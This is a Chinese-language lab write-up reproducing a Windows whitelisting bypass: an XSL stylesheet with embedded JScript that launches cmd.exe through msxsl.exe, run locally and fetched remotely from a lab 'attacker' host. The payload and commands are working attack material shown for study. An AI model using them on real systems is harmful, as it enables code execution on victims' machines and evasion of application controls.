返回首页
EN
H7 / SECURITY RESEARCH NOTES

滥用MSXSL.EXE执行XSL文件实现任意命令执行

环境说明

IPHOSTNAMENOTE
10.10.10.88win10_dqy受害者主机
172.16.106.67kali_dqy攻击者主机

前言

什么是XSL

  • XSL 文件是一种样式表,可用于将 XML 文档转换为其他文档类型并格式化输出。

攻击原理

  • XSL 文件包含了用于格式化XML文件的代码,由于其是合法的功能,攻击者可以通过使用XSL绕过应用白名单,然后执行任意代码。
  • 其中一种通过XSL文件执行代码的方式就是使用Microsoft的msxsl.exe,不过这个二进制文件并没有提前安装在Windows操作系统上,需要攻击者下载到目标系统。

复现过程

创建xml文件

  • 我们创建一个测试XML文件,名称为test.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="TestXSL.xsl" ?>
<TEST>
<name>Test XSL Scripting</name>
</TEST>

创建XSL脚本

  • 首先我们创建一个XSL脚本,脚本目的是调用一个cmd.exe
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> 
</ms:script>
</stylesheet>

通过MSXSL.EXE执行本地XSL文件

  • 我们从网上下载msxsl.exe之后,通过以下命令在Powershell中执行我们编写的xml文件以及XSL脚本
msxsl.exe test.xml test.xsl

通过MSXSL.EXE执行远程XSL文件

  • 我们在攻击者主机上创建一个XSL文件,然后在受害者主机上远程执行它。

msxsl.exe test.xml http://172.16.106.67/test.xsl